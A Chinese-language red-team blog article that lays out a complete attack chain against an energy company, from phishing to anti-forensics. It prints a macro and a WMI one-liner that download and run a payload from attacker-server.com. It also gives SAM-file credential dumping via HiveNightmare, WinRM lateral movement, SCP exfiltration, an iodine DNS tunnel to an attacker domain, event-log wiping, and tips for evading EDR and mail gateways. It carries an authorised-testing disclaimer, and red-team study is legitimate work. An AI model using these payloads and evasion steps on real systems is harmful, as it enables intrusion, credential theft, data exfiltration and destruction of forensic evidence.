一、震惊全球的勒索软件攻击:背后的红队操作手法

黑客示意图

2023年年初,一起针对某国际能源企业的勒索软件攻击震惊了整个网络安全行业。攻击者通过精心设计的钓鱼邮件,成功入侵了企业内部网络,并完成了权限提升与数据加密。更令人不安的是,攻击者的攻击链堪称“完美无痕”,不仅绕过了EDR检测,还迅速销毁了痕迹。这起事件暴露了现代红队攻击的复杂性与隐匿性,为安全团队敲响了警钟。

如果换作是我参与这次攻击,我会如何设计一条完整的攻击链?本文将以红队视角拆解类似攻击场景,展示从信息收集到权限维持的技巧,帮助安全研究人员更深入理解红队攻防演练的技术细节。文章仅限授权测试之用,切勿将技术用于非法用途。

---

二、0x01 深度定制化钓鱼攻击的设计

攻击原理与目标选择

钓鱼邮件是许多红队演练中用于初始接触目标的经典手法,但普通的钓鱼邮件往往会被安全网关拦截。为了提高邮件的成功率,我倾向于采用深度定制化的攻击策略,结合OSINT(开放源情报)和社交工程,针对特定目标设计感染链。

例如,如果目标是一家能源公司,我会通过以下途径收集情报:

  • 公开文档:如目标公司发布的PDF文件,提取其中的元数据,获取潜在联系人。
  • 社交媒体:LinkedIn、Twitter等,了解员工职位、兴趣,以及可能的工作流程。
  • 子域名挖掘:枚举目标公司的外部资产,寻找可能承载内部流程的Web系统。

这一阶段的目标是找到最“可信”的攻击媒介,比如一封HR发给员工的“晋升通知”,或是供应商邮件中的“合同修订文档”。

实战Payload构造

假设我们的目标是通过邮件附件投递恶意代码(后文称之为Payload),为了绕过邮件网关,我们需要使用某种免杀技巧,例如:

  • 微软宏文档:通过恶意VBA代码实现Payload加载。
  • 嵌套压缩文件:使用多层压缩格式(如RAR+ZIP)隐藏恶意代码。
  • 文件格式伪装:将可执行文件伪装成PDF或图片。

以下是一个利用VBA宏的Payload示例,目标是通过WScript下载并执行后门程序:

<pre><code class="language-vbnet">Sub Auto_Open() Dim cmd As String cmd = &quot;cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c &quot;&quot;IEX(New-Object Net.WebClient).DownloadString(&#039;http://attacker-server.com/payload.ps1&#039;)&quot;&quot;&quot; Shell cmd, vbHide End Sub</code></pre>

绕过技巧

  1. 将宏代码加密保存到Excel中,并设置密码保护。
  2. 利用混淆工具对代码中的关键函数进行随机化,例如将cmd.exe替换为Base64编码的形式。

---

三、0x02 权限提升与横向移动的艺术

初始落脚点与权限提升

在钓鱼攻击成功后,攻击者往往会获得一个普通用户权限的Shell。而这一权限远远不够完成攻击链的后续步骤,因此我们需要快速寻找权限提升的机会。

一次有效的权限提升通常依赖以下条件:

  1. 操作系统漏洞:如CVE-2021-36934(HiveNightmare),攻击者可利用系统错误配置访问SAM文件。
  2. 配置错误:如密码以明文存储在应用配置文件中。
  3. 内存提取:通过访问高权限进程的内存区域抓取凭据。

以下是一个基于操作系统漏洞的权限提升案例,在Windows系统中利用CVE-2021-36934提权:

<pre><code class="language-shell"># 使用icacls查看SAM文件是否可读 icacls C:\Windows\System32\config\SAM

如果文件对当前用户开放读取权限,则复制SAM文件

copy C:\Windows\System32\config\SAM C:\Users\Public\SAM_copy

使用secretsdump提取本地管理员凭据

python3 secretsdump.py -sam SAM_copy -system SYSTEM_copy LOCAL</code></pre>

绕过技巧:权限提升操作通常会触发EDR报警,为避免检测,可以使用手动编译的工具,移除特征函数调用。此外,也可尝试在隔离网络环境(如虚拟机中)执行提权操作。

黑客示意图

横向移动:WinRM与WMI的结合

权限提升成功后,通常需要在内网中横向移动,寻找更高价值的目标。以下是一个使用WinRM与WMI实现横向移动的案例:

<pre><code class="language-ruby">require &#039;winrm&#039;

连接目标主机

conn = WinRM::Connection.new( endpoint: &#039;http://target-ip:5985/wsman&#039;, user: &#039;Administrator&#039;, password: &#039;password123&#039; )

执行命令

conn.shell(:powershell) do |shell| output = shell.run(&#039;hostname&#039;) puts &quot;Command output: #{output.stdout}&quot; end</code></pre>

利用WMI执行Payload: <pre><code class="language-shell">wmic /node:TARGET_HOST process call create &quot;powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://attacker-server.com/payload.ps1&#039;)&quot;</code></pre>

免杀技巧:WinRM与WMI的操作可以通过伪装为合法的管理操作来避开检测。例如,将恶意Payload嵌入到合法的PowerShell脚本中,并对脚本变量名与函数名进行混淆。

---

四、0x03 数据窃取与隐匿流量

高效的数据窃取方式

完成横向移动之后,我们的目标是窃取关键数据。对于能源企业,常见的目标包括客户合同、研究文档、财务记录等。以下是一些高效的数据窃取方式:

  1. 文件共享:枚举内网的文件共享目录,并直接下载目标文件。
  2. 数据库导出:通过SQL查询导出敏感数据。
  3. 屏幕抓取:截取管理员会话的屏幕内容。

下面是一个通过Ruby编写的SCP脚本,用于将文件从目标服务器传输到攻击者控制的服务器:

<pre><code class="language-ruby">require &#039;net/scp&#039;

Net::SCP.start(&#039;target-ip&#039;, &#039;username&#039;, password: &#039;password123&#039;) do |scp|

从目标主机下载文件

scp.download!(&#039;/path/to/target/file.txt&#039;, &#039;./local_copy.txt&#039;) end</code></pre>

隐匿流量:DNS隧道

为了避免数据传输被安全设备监控,可以使用DNS隧道技术,将数据嵌入到DNS查询中:

<pre><code class="language-shell"># 使用iodine搭建DNS隧道服务端 iodined -f -c -P attacker_password 10.0.0.1 dns.attacker-domain.com

在受害主机上连接DNS隧道

iodine -f -P attacker_password dns.attacker-domain.com</code></pre>

数据传输通过DNS流量伪装,绕过了传统的流量检测规则。

---

五、0x04 反取证与痕迹清除

黑客示意图

最后一步是清除攻击痕迹,确保无法被追踪。以下是一些常用的反取证技巧:

  1. 日志清理:删除系统事件日志和应用日志。
  2. 时间篡改:修改文件的时间戳,伪造文件创建时间。
  3. 进程隐匿:使用Rootkit隐藏恶意进程。

以下是一个基于PowerShell的日志清理脚本:

<pre><code class="language-powershell"># 清除系统日志 wevtutil cl System wevtutil cl Security wevtutil cl Application

删除最近的文件操作记录

Remove-ItemProperty -Path &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU&quot; -Name *</code></pre>

必须注意,清理日志可能会触发安全设备的异常检测,因此建议仅在攻击结束后执行。

---

六、个人经验总结

红队攻防演练是一项需要技术、策略与耐心的工作。在实战中,攻击者需要充分利用目标的漏洞和环境配置,同时尽量减少操作的痕迹。以下是我的一些建议:

  1. 深入了解目标环境:不同的企业有不同的防御机制,了解目标的安全架构是成功的关键。
  2. 工具自定义:尽量使用自写工具,避免触发防御设备的签名规则。
  3. 反侦察操作:注意隐藏C2基础设施,避免被蓝队反制。

希望本文的技术分享能为你的红队演练提供新的思路,同时也呼吁大家依法、合规地开展安全研究工作。